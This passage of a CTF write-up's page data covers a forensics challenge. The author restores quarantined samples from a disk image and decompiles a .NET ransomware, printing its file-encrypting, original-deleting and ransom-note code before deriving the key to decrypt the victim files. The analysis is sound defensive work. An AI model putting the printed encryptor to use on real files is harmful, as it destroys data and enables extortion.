960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/6f86a169e0db2841a49c91d8ace23fca/d9199/image-20240315234653822.png\"\n            alt=\"image-20240315234653822\"\n            title=\"image-20240315234653822\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>To recover the encrypted confidential files, we likely need the ransomware sample, but nothing matching was found among the files extracted with FTK Imager.</p>\n<p>So I extracted event logs from the image file and analyzed them with Hayabusa.</p>\n<p>Default sigma rules were used for Hayabusa.</p>\n<div class=\"gatsby-highlight\" data-language=\"powershell\"><pre class=\"language-powershell\"><code class=\"language-powershell\"><span class=\"token punctuation\">.</span>\\hayabusa-2<span class=\"token punctuation\">.</span>5<span class=\"token punctuation\">.</span>1-win-x64<span class=\"token punctuation\">.</span>exe csv-timeline <span class=\"token operator\">-</span>d <span class=\"token string\">\"C:\\Users\\kash1064\\Downloads\\Logs\"</span> <span class=\"token operator\">-</span>o result<span class=\"token punctuation\">.</span>csv</code></pre></div>\n<p>Filtering the extracted information to show only Critical and High events, we can see that after several suspicious files were detected by Defender, events disabling Defender’s protection were recorded.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/ae0e75c95624c5533059bf6924f380ac/70c12/image-20240315235546616.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 27.916666666666668%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA9UlEQVQY01WQW3aEIBBEXUh0joAwooC8nK/sf1kViuhk8lEHWrqvFwZbv5FKhVALnnbDog3MapFywWp37D7AfYT1uu0QUmEWEtNjxjg98HVliEdAjBHLskBKCaUk5nlGTgnPp4G1FqUUhBDgve8JTKtD8Ni3rfeP44hpGjHwIMYE08ykUh06C4GSM4z5AxLknMPWAFzv+jP8NqRmktv1OKwuoGjA8zyxrmtvfJ2vXtda/0Hdvr9B3tE+YMjNJLWI9h5a6351Gp71RGrmtLtDII3Zw17NddHvOcp0w1+g6Ae0ZDjM5ziOeAEz+HPuud57zt9vTOgP3mC01lrW1woAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/ae0e75c95624c5533059bf6924f380ac/8ac56/image-20240315235546616.webp 240w,\n/static/ae0e75c95624c5533059bf6924f380ac/d3be9/image-20240315235546616.webp 480w,\n/static/ae0e75c95624c5533059bf6924f380ac/e46b2/image-20240315235546616.webp 960w,\n/static/ae0e75c95624c5533059bf6924f380ac/f992d/image-20240315235546616.webp 1440w,\n/static/ae0e75c95624c5533059bf6924f380ac/882b9/image-20240315235546616.webp 1920w,\n/static/ae0e75c95624c5533059bf6924f380ac/c920c/image-20240315235546616.webp 2110w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/ae0e75c95624c5533059bf6924f380ac/8ff5a/image-20240315235546616.png 240w,\n/static/ae0e75c95624c5533059bf6924f380ac/e85cb/image-20240315235546616.png 480w,\n/static/ae0e75c95624c5533059bf6924f380ac/d9199/image-20240315235546616.png 960w,\n/static/ae0e75c95624c5533059bf6924f380ac/07a9c/image-20240315235546616.png 1440w,\n/static/ae0e75c95624c5533059bf6924f380ac/29114/image-20240315235546616.png 1920w,\n/static/ae0e75c95624c5533059bf6924f380ac/70c12/image-20240315235546616.png 2110w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/ae0e75c95624c5533059bf6924f380ac/d9199/image-20240315235546616.png\"\n            alt=\"image-20240315235546616\"\n            title=\"image-20240315235546616\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>It is highly likely that the ransomware was detected once here, then Defender was disabled before re-executing it.</p>\n<p>Since the detected files should have been quarantined by Defender, I extracted Defender’s Quarantine folder with FTK Imager, replaced the local machine’s Quarantine folder with it, and ran the following commands to restore the samples.</p>\n<div class=\"gatsby-highlight\" data-language=\"powershell\"><pre class=\"language-powershell\"><code class=\"language-powershell\">cd <span class=\"token string\">\"C:\\Program Files\\Windows Defender\"</span>\nMpCmdRun<span class=\"token punctuation\">.</span>exe <span class=\"token operator\">-</span>resetplatform\nMpCmdRun<span class=\"token punctuation\">.</span>exe <span class=\"token operator\">-</span>Restore <span class=\"token operator\">-</span>All <span class=\"token operator\">-</span>Path C:\\Users\\Public\\Documents\n\nSurface-level analysis of the four restored samples revealed that a file called intel<span class=\"token punctuation\">.</span>exe likely matches the ransomware<span class=\"token punctuation\">.</span>\n\n<span class=\"token operator\">!</span><span class=\"token namespace\">[image-20240316000805456]</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token operator\">/</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token operator\">/</span>static/media/2024-03-09-ctf-cyber-apocaly-ctf-2024/image-20240316000805456<span class=\"token punctuation\">.</span>png<span class=\"token punctuation\">)</span>\n\nOpening this file in BinaryNinja<span class=\"token punctuation\">,</span> _CorExeMain was loaded at the entry point and it could not be properly analyzed<span class=\"token punctuation\">.</span>\n\n<span class=\"token operator\">!</span><span class=\"token namespace\">[image-20240316001225811]</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token operator\">/</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token operator\">/</span>static/media/2024-03-09-ctf-cyber-apocaly-ctf-2024/image-20240316001225811<span class=\"token punctuation\">.</span>png<span class=\"token punctuation\">)</span>\n\nSince this binary appears to be a <span class=\"token punctuation\">.</span>NET program<span class=\"token punctuation\">,</span> we analyze it with ILSpy<span class=\"token punctuation\">.</span>\n\nThe code <span class=\"token keyword\">for</span> the Main section was as follows<span class=\"token punctuation\">.</span>\n\nThe actual encryption processing appears to be performed by `Enc<span class=\"token punctuation\">(</span>Environment<span class=\"token punctuation\">.</span>CurrentDirectory<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>`<span class=\"token punctuation\">.</span>\n\nLooking at the Enc <span class=\"token keyword\">function</span><span class=\"token punctuation\">,</span> it appears that file encryption is performed by `coreEncrypter<span class=\"token punctuation\">.</span>EncryptFile<span class=\"token punctuation\">(</span>text<span class=\"token punctuation\">)</span>`<span class=\"token punctuation\">.</span>\n\n``` c<span class=\"token comment\">#</span>\n<span class=\"token operator\">/</span><span class=\"token operator\">/</span> Encrypter<span class=\"token punctuation\">,</span> Version=1<span class=\"token punctuation\">.</span>0<span class=\"token punctuation\">.</span>0<span class=\"token punctuation\">.</span>0<span class=\"token punctuation\">,</span> Culture=neutral<span class=\"token punctuation\">,</span> PublicKeyToken=null\n<span class=\"token operator\">/</span><span class=\"token operator\">/</span> Encrypter<span class=\"token punctuation\">.</span>Program\n<span class=\"token keyword\">using</span> System<span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">using</span> System<span class=\"token punctuation\">.</span>Collections<span class=\"token punctuation\">.</span>Generic<span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">using</span> System<span class=\"token punctuation\">.</span>IO<span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">using</span> System<span class=\"token punctuation\">.</span>Net<span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">using</span> Encrypter<span class=\"token punctuation\">.</span><span class=\"token keyword\">Class</span><span class=\"token punctuation\">;</span>\n\ninternal <span class=\"token keyword\">class</span> Program\n<span class=\"token punctuation\">{</span>\n\tprivate static string email1<span class=\"token punctuation\">;</span>\n\n\tprivate static string email2<span class=\"token punctuation\">;</span>\n\n\tpublic static readonly string alertName<span class=\"token punctuation\">;</span>\n\n\tprivate static string salt<span class=\"token punctuation\">;</span>\n\n\tprivate static string email<span class=\"token punctuation\">;</span>\n\n\tprivate static string softwareName<span class=\"token punctuation\">;</span>\n\n\tprivate static CoreEncrypter coreEncrypter<span class=\"token punctuation\">;</span>\n\n\tprivate static string UID<span class=\"token punctuation\">;</span>\n\n\tprivate static void Main<span class=\"token punctuation\">(</span>string<span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span> args<span class=\"token punctuation\">)</span>\n\t<span class=\"token punctuation\">{</span>\n\t\tUtility utility = new Utility<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\t\tPasswordHasher passwordHasher = new PasswordHasher<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\t\t<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>Dns<span class=\"token punctuation\">.</span>GetHostName<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>Equals<span class=\"token punctuation\">(</span><span class=\"token string\">\"DESKTOP-A1L0P1U\"</span><span class=\"token punctuation\">,</span> StringComparison<span class=\"token punctuation\">.</span>OrdinalIgnoreCase<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\t\t<span class=\"token punctuation\">{</span>\n\t\t\tUID = utility<span class=\"token punctuation\">.</span>GenerateUserID<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\t\t\tutility<span class=\"token punctuation\">.</span><span class=\"token function\">Write</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"\\nUserID = \"</span> <span class=\"token operator\">+</span> UID<span class=\"token punctuation\">,</span> ConsoleColor<span class=\"token punctuation\">.</span>Cyan<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\t\t\tAlert alert = new Alert<span class=\"token punctuation\">(</span>UID<span class=\"token punctuation\">,</span> email1<span class=\"token punctuation\">,</span> email2<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\t\t\temail = string<span class=\"token punctuation\">.</span>Concat<span class=\"token punctuation\">(</span>new string<span class=\"token punctuation\">[</span>4<span class=\"token punctuation\">]</span> <span class=\"token punctuation\">{</span> email1<span class=\"token punctuation\">,</span> <span class=\"token string\">\" And \"</span><span class=\"token punctuation\">,</span> email2<span class=\"token punctuation\">,</span> <span class=\"token string\">\" (send both)\"</span> <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\t\t\tcoreEncrypter = new CoreEncrypter<span class=\"token punctuation\">(</span>passwordHasher<span class=\"token punctuation\">.</span>GetHashCode<span class=\"token punctuation\">(</span>UID<span class=\"token punctuation\">,</span> salt<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> alert<span class=\"token punctuation\">.</span>ValidateAlert<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> alertName<span class=\"token punctuation\">,</span> email<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\t\t\tutility<span class=\"token punctuation\">.</span><span class=\"token function\">Write</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"\\nStart ...\"</span><span class=\"token punctuation\">,</span> ConsoleColor<span class=\"token punctuation\">.</span>Red<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\t\t\tEnc<span class=\"token punctuation\">(</span>Environment<span class=\"token punctuation\">.</span>CurrentDirectory<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\t\t\tConsole<span class=\"token punctuation\">.</span>ReadKey<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\t\t<span class=\"token punctuation\">}</span>\n\t<span class=\"token punctuation\">}</span>\n\n\tprivate static List&lt;string> Enc<span class=\"token punctuation\">(</span>string sDir<span class=\"token punctuation\">)</span>\n\t<span class=\"token punctuation\">{</span>\n\t\tList&lt;string> list = new List&lt;string><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\t\tstring<span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span> files = Directory<span class=\"token punctuation\">.</span>GetFiles<span class=\"token punctuation\">(</span>sDir<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\t\t<span class=\"token keyword\">foreach</span> <span class=\"token punctuation\">(</span>string text in files<span class=\"token punctuation\">)</span>\n\t\t<span class=\"token punctuation\">{</span>\n\t\t\t<span class=\"token keyword\">try</span>\n\t\t\t<span class=\"token punctuation\">{</span>\n\t\t\t\tstring extension = Path<span class=\"token punctuation\">.</span>GetExtension<span class=\"token punctuation\">(</span>text<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\t\t\t\t<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span>text<span class=\"token punctuation\">.</span>Contains<span class=\"token punctuation\">(</span><span class=\"token string\">\".korp\"</span><span class=\"token punctuation\">)</span> &amp;&amp; <span class=\"token operator\">!</span>text<span class=\"token punctuation\">.</span>Contains<span class=\"token punctuation\">(</span><span class=\"token string\">\".hta\"</span><span class=\"token punctuation\">)</span> &amp;&amp; <span class=\"token operator\">!</span>text<span class=\"token punctuation\">.</span>Contains<span class=\"token punctuation\">(</span><span class=\"token string\">\"ID.sc\"</span><span class=\"token punctuation\">)</span> &amp;&amp; <span class=\"token operator\">!</span>text<span class=\"token punctuation\">.</span>Contains<span class=\"token punctuation\">(</span><span class=\"token string\">\"desktop.ini\"</span><span class=\"token punctuation\">)</span> &amp;&amp; <span class=\"token operator\">!</span>text<span class=\"token punctuation\">.</span>Contains<span class=\"token punctuation\">(</span>softwareName<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\t\t\t\t<span class=\"token punctuation\">{</span>\n\t\t\t\t\t<span class=\"token keyword\">switch</span> <span class=\"token punctuation\">(</span>extension<span class=\"token punctuation\">)</span>\n\t\t\t\t\t<span class=\"token punctuation\">{</span>\n\t\t\t\t\tcase <span class=\"token string\">\".txt\"</span>:\n\t\t\t\t\tcase <span class=\"token string\">\".doc\"</span>:\n\t\t\t\t\tcase <span class=\"token string\">\".docx\"</span>:\n\t\t\t\t\tcase <span class=\"token string\">\".xls\"</span>:\n\t\t\t\t\tcase <span class=\"token string\">\".xlsx\"</span>:\n\t\t\t\t\tcase <span class=\"token string\">\".ppt\"</span>:\n\t\t\t\t\tcase <span class=\"token string\">\".pptx\"</span>:\n\t\t\t\t\tcase <span class=\"token string\">\".odt\"</span>:\n\t\t\t\t\tcase <span class=\"token string\">\".jpg\"</span>:\n\t\t\t\t\tcase <span class=\"token string\">\".png\"</span>:\n\t\t\t\t\tcase <span class=\"token string\">\".csv\"</span>:\n\t\t\t\t\tcase <span class=\"token string\">\".sql\"</span>:\n\t\t\t\t\tcase <span class=\"token string\">\".mdb\"</span>:\n\t\t\t\t\tcase <span class=\"token string\">\".sln\"</span>:\n\t\t\t\t\tcase <span class=\"token string\">\".php\"</span>:\n\t\t\t\t\tcase <span class=\"token string\">\".pdf\"</span>:\n\t\t\t\t\tcase <span class=\"token string\">\".aspx\"</span>:\n\t\t\t\t\tcase <span class=\"token string\">\".html\"</span>:\n\t\t\t\t\tcase <span class=\"token string\">\".xml\"</span>:\n\t\t\t\t\tcase <span class=\"token string\">\".psd\"</span>:\n\t\t\t\t\tcase <span class=\"token string\">\".jpeg\"</span>:\n\t\t\t\t\t\tConsole<span class=\"token punctuation\">.</span>ForegroundColor = ConsoleColor<span class=\"token punctuation\">.</span>Green<span class=\"token punctuation\">;</span>\n\t\t\t\t\t\tConsole<span class=\"token punctuation\">.</span>WriteLine<span class=\"token punctuation\">(</span>text<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\t\t\t\t\t\tConsole<span class=\"token punctuation\">.</span>ForegroundColor = ConsoleColor<span class=\"token punctuation\">.</span>Green<span class=\"token punctuation\">;</span>\n\t\t\t\t\t\tcoreEncrypter<span class=\"token punctuation\">.</span>EncryptFile<span class=\"token punctuation\">(</span>text<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\t\t\t\t\t\t<span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n\t\t\t\t\t<span class=\"token punctuation\">}</span>\n\t\t\t\t<span class=\"token punctuation\">}</span>\n\t\t\t<span class=\"token punctuation\">}</span>\n\t\t\t<span class=\"token keyword\">catch</span> <span class=\"token punctuation\">(</span>Exception<span class=\"token punctuation\">)</span>\n\t\t\t<span class=\"token punctuation\">{</span>\n\t\t\t<span class=\"token punctuation\">}</span>\n\t\t<span class=\"token punctuation\">}</span>\n\t\tfiles = Directory<span class=\"token punctuation\">.</span>GetDirectories<span class=\"token punctuation\">(</span>sDir<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\t\t<span class=\"token keyword\">foreach</span> <span class=\"token punctuation\">(</span>string sDir2 in files<span class=\"token punctuation\">)</span>\n\t\t<span class=\"token punctuation\">{</span>\n\t\t\t<span class=\"token keyword\">try</span>\n\t\t\t<span class=\"token punctuation\">{</span>\n\t\t\t\tlist<span class=\"token punctuation\">.</span>AddRange<span class=\"token punctuation\">(</span>Enc<span class=\"token punctuation\">(</span>sDir2<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\t\t\t<span class=\"token punctuation\">}</span>\n\t\t\t<span class=\"token keyword\">catch</span> <span class=\"token punctuation\">(</span>Exception<span class=\"token punctuation\">)</span>\n\t\t\t<span class=\"token punctuation\">{</span>\n\t\t\t<span class=\"token punctuation\">}</span>\n\t\t<span class=\"token punctuation\">}</span>\n\t\t<span class=\"token keyword\">return</span> list<span class=\"token punctuation\">;</span>\n\t<span class=\"token punctuation\">}</span>\n\n\tstatic Program<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\t<span class=\"token punctuation\">{</span>\n\t\temail1 = <span class=\"token string\">\"fraycrypter@korp.com\"</span><span class=\"token punctuation\">;</span>\n\t\temail2 = <span class=\"token string\">\"fraydecryptsp@korp.com\"</span><span class=\"token punctuation\">;</span>\n\t\talertName = <span class=\"token string\">\"ULTIMATUM\"</span><span class=\"token punctuation\">;</span>\n\t\tsalt = <span class=\"token string\">\"0f5264038205edfb1ac05fbb0e8c5e94\"</span><span class=\"token punctuation\">;</span>\n\t\tsoftwareName = <span class=\"token string\">\"Encrypter\"</span><span class=\"token punctuation\">;</span>\n\t\tcoreEncrypter = null<span class=\"token punctuation\">;</span>\n\t\tUID = null<span class=\"token punctuation\">;</span>\n\t<span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>The CoreEncrypter class was implemented as follows.</p>\n<p>As can be seen from this code, the actual encryption processing is quite simple.</p>\n<div class=\"gatsby-highlight\" data-language=\"c#\"><pre class=\"language-c#\"><code class=\"language-c#\">// Encrypter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null\n// Encrypter.Class.CoreEncrypter\nusing System;\nusing System.IO;\nusing System.Security.Cryptography;\n\npublic class CoreEncrypter\n{\n\tpublic string password { get; set; }\n\n\tpublic string alert { get; set; }\n\n\tpublic string alertName { get; set; }\n\n\tpublic string email { get; set; }\n\n\tpublic CoreEncrypter(string password, string alert, string alertName, string email)\n\t{\n\t\tthis.password = password;\n\t\tthis.alert = alert;\n\t\tthis.alertName = alertName;\n\t\tthis.email = email;\n\t}\n\n\tpublic void EncryptFile(string file)\n\t{\n\t\tbyte[] array = new byte[65535];\n\t\tbyte[] salt = new byte[8] { 0, 1, 1, 0, 1, 1, 0, 0 };\n\t\tRfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, salt, 4953);\n\t\tRijndaelManaged rijndaelManaged = new RijndaelManaged();\n\t\trijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);\n\t\trijndaelManaged.Mode = CipherMode.CBC;\n\t\trijndaelManaged.Padding = PaddingMode.ISO10126;\n\t\trijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);\n\t\tFileStream fileStream = null;\n\t\ttry\n\t\t{\n\t\t\tif (!File.Exists(Directory.GetDirectoryRoot(file) + &quot;\\\\&quot; + alertName + &quot;.hta&quot;))\n\t\t\t{\n\t\t\t\tFile.WriteAllText(Path.GetDirectoryName(file) + &quot;\\\\&quot; + alertName + &quot;.hta&quot;, alert);\n\t\t\t}\n\t\t\tFile.WriteAllText(Path.GetDirectoryName(file) + &quot;\\\\&quot; + alertName + &quot;.hta&quot;, alert);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tConsole.ForegroundColor = ConsoleColor.Red;\n\t\t\tConsole.WriteLine(ex.Message);\n\t\t\tConsole.ForegroundColor = ConsoleColor.Red;\n\t\t}\n\t\ttry\n\t\t{\n\t\t\tfileStream = new FileStream(file, FileMode.Open, FileAccess.ReadWrite);\n\t\t}\n\t\tcatch (Exception ex2)\n\t\t{\n\t\t\tConsole.ForegroundColor = ConsoleColor.Red;\n\t\t\tConsole.WriteLine(ex2.Message);\n\t\t\tConsole.ForegroundColor = ConsoleColor.Red;\n\t\t}\n\t\tif (fileStream.Length &lt; 1000000)\n\t\t{\n\t\t\tstring path = null;\n\t\t\tFileStream fileStream2 = null;\n\t\t\tCryptoStream cryptoStream = null;\n\t\t\ttry\n\t\t\t{\n\t\t\t\tpath = file + &quot;.korp&quot;;\n\t\t\t\tfileStream2 = new FileStream(path, FileMode.Create, FileAccess.Write);\n\t\t\t\tcryptoStream = new CryptoStream(fileStream2, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write);\n\t\t\t}\n\t\t\tcatch (Exception ex3)\n\t\t\t{\n\t\t\t\tConsole.ForegroundColor = ConsoleColor.Red;\n\t\t\t\tConsole.WriteLine(ex3.Message);\n\t\t\t\tConsole.ForegroundColor = ConsoleColor.Red;\n\t\t\t}\n\t\t\ttry\n\t\t\t{\n\t\t\t\tint num;\n\t\t\t\tdo\n\t\t\t\t{\n\t\t\t\t\tnum = fileStream.Read(array, 0, array.Length);\n\t\t\t\t\tif (num != 0)\n\t\t\t\t\t{\n\t\t\t\t\t\tcryptoStream.Write(array, 0, num);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\twhile (num != 0);\n\t\t\t\tfileStream.Close();\n\t\t\t\tcryptoStream.Close();\n\t\t\t\tfileStream2.Close();\n\t\t\t}\n\t\t\tcatch (Exception ex4)\n\t\t\t{\n\t\t\t\tConsole.ForegroundColor = ConsoleColor.Red;\n\t\t\t\tConsole.WriteLine(ex4.Message);\n\t\t\t\tConsole.ForegroundColor = ConsoleColor.Red;\n\t\t\t}\n\t\t\ttry\n\t\t\t{\n\t\t\t\tFile.Delete(file);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tcatch (Exception)\n\t\t\t{\n\t\t\t\tFile.Delete(path);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\tstring destFileName = file + &quot;.korp&quot;;\n\t\ttry\n\t\t{\n\t\t\tlong position = fileStream.Position;\n\t\t\tint num2 = fileStream.ReadByte() ^ 0xFF;\n\t\t\tfileStream.Seek(position, SeekOrigin.Begin);\n\t\t\tfileStream.WriteByte((byte)num2);\n\t\t\tfileStream.Close();\n\t\t\tFile.Move(file, destFileName);\n\t\t}\n\t\tcatch (Exception ex6)\n\t\t{\n\t\t\tConsole.ForegroundColor = ConsoleColor.Red;\n\t\t\tConsole.WriteLine(ex6.Message);\n\t\t\tConsole.ForegroundColor = ConsoleColor.Red;\n\t\t}\n\t}\n}\n\nCoreEncrypter executes EncryptFile using the password received as an argument.\n\nAs can be seen from reading the Main function, the password in this case is the value obtained by passing the UID and salt to PasswordHasher.GetHashCode.\n\nPasswordHasher generates a hash value from the password and salt received as arguments, as follows.\n\n``` c#\ninternal class PasswordHasher\n{\n\tpublic string GetSalt()\n\t{\n\t\treturn Guid.NewGuid().ToString(&quot;N&quot;);\n\t}\n\n\tpublic string Hasher(string password)\n\t{\n\t\tusing SHA512CryptoServiceProvider sHA512CryptoServiceProvider = new SHA512CryptoServiceProvider();\n\t\tbyte[] bytes = Encoding.UTF8.GetBytes(password);\n\t\treturn Convert.ToBase64String(sHA512CryptoServiceProvider.ComputeHash(bytes));\n\t}\n\n\tpublic string GetHashCode(string password, string salt)\n\t{\n\t\tstring password2 = password + salt;\n\t\treturn Hasher(password2);\n\t}\n\n\tpublic bool CheckPassword(string password, string salt, string hashedpass)\n\t{\n\t\treturn GetHashCode(password, salt) == hashedpass;\n\t}\n}</code></pre></div>\n<p>The salt passed as an argument here is hardcoded in the program.</p>\n<p>Additionally, GenerateUserID is implemented as follows, and it appears to generate the password based on random values.</p>\n<div class=\"gatsby-highlight\" data-language=\"c#\"><pre class=\"language-c#\"><code class=\"language-c#\">public string GenerateUserID()\n{\n    Random random = new Random();\n    string[] array = new string[26]\n    {\n        &quot;A&quot;, &quot;B&quot;, &quot;C&quot;, &quot;D&quot;, &quot;E&quot;, &quot;F&quot;, &quot;G&quot;, &quot;H&quot;, &quot;I&quot;, &quot;J&quot;,\n        &quot;K&quot;, &quot;L&quot;, &quot;M&quot;, &quot;N&quot;, &quot;O&quot;, &quot;P&quot;, &quot;Q&quot;, &quot;R&quot;, &quot;S&quot;, &quot;T&quot;,\n        &quot;U&quot;, &quot;V&quot;, &quot;W&quot;, &quot;X&quot;, &quot;Y&quot;, &quot;Z&quot;\n    };\n    string[] array2 = new string[10] { &quot;0&quot;, &quot;1&quot;, &quot;2&quot;, &quot;3&quot;, &quot;4&quot;, &quot;5&quot;, &quot;6&quot;, &quot;7&quot;, &quot;8&quot;, &quot;9&quot; };\n    string text = null;\n    for (int i = 1; i &lt; 15; i++)\n    {\n        text = ((i % 2 != 0) ? (text + array2[random.Next(0, array2.Length)]) : (text + array[random.Next(0, array.Length)]));\n    }\n    return text;\n}</code></pre></div>\n<p>So, to identify the password, we investigate where else the UID is used.</p>\n<p>As a result, we found that the UID is used as an argument in <code class=\"language-text\">Alert(UID, email1, email2);</code>.</p>\n<p>This means it corresponds to <code class=\"language-text\">5K7X7E6X7V2D6F</code> that was embedded in the ransom note.</p>\n<p>Based on these findings, I obtained the key and IV needed to decrypt the encrypted files using the following code.</p>\n<div class=\"gatsby-highlight\" data-language=\"c#\"><pre class=\"language-c#\"><code class=\"language-c#\">using System;\nusing System.Text;\nusing System.IO;\nusing System.Security.Cryptography;\n\nclass Program\n{\n    static void Main(string[] args)\n    {\n        byte[] array = new byte[65535];\n        byte[] salt = new byte[8] { 0, 1, 1, 0, 1, 1, 0, 0 };\n        string w = &quot;0f5264038205edfb1ac05fbb0e8c5e94&quot;;\n        string password = &quot;5K7X7E6X7V2D6F&quot; + w;\n\n        SHA512CryptoServiceProvider sHA512CryptoServiceProvider = new SHA512CryptoServiceProvider();\n        byte[] bytes = Encoding.UTF8.GetBytes(password);\n        string hash = Convert.ToBase64String(sHA512CryptoServiceProvider.ComputeHash(bytes));\n                \n        Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(hash, salt, 4953);\n        RijndaelManaged rijndaelManaged = new RijndaelManaged();\n        rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);\n        rijndaelManaged.Mode = CipherMode.CBC;\n        rijndaelManaged.Padding = PaddingMode.ISO10126;\n        rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);\n\n        Console.WriteLine(rijndaelManaged.Padding);\n    }\n}\n\nUsing the values obtained here, the AES decryption of the encrypted files succeeds.\n\n![image-20240316100317889](../../static/media/2024-03-09-ctf-cyber-apocaly-ctf-2024/image-20240316100317889.png)\n\nExpanding the decrypted files revealed the correct flag.\n\n![image-20240316100405609](../../static/media/2024-03-09-ctf-cyber-apocaly-ctf-2024/image-20240316100405609.png)\n\n\n\n## Summary\n\nThere were many great challenges this year, and it was enjoyable.\n\nI&#39;d like to solve the other challenges as well.</code></pre></div>","fields":{"slug":"/ctf-cyber-apocaly-ctf-2024-en","tagSlugs":["/tag/rev-en/","/tag/forensic-en/","/tag/english/"]},"frontmatter":{"date":"2024-03-16","description":"Cyber Apocalypse CTF 2024 Writeup","tags":["Rev (en)","Forensic (en)","English"],"title":"Cyber Apocalypse CTF 2024 Writeup","socialImage":{"publicURL":"/static/8678080c7a53affccd3df15b13d05002/ctf-cyber-apocaly-ctf-2024.png"}}}},"pageContext":{"slug":"/ctf-cyber-apocaly-ctf-2024-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}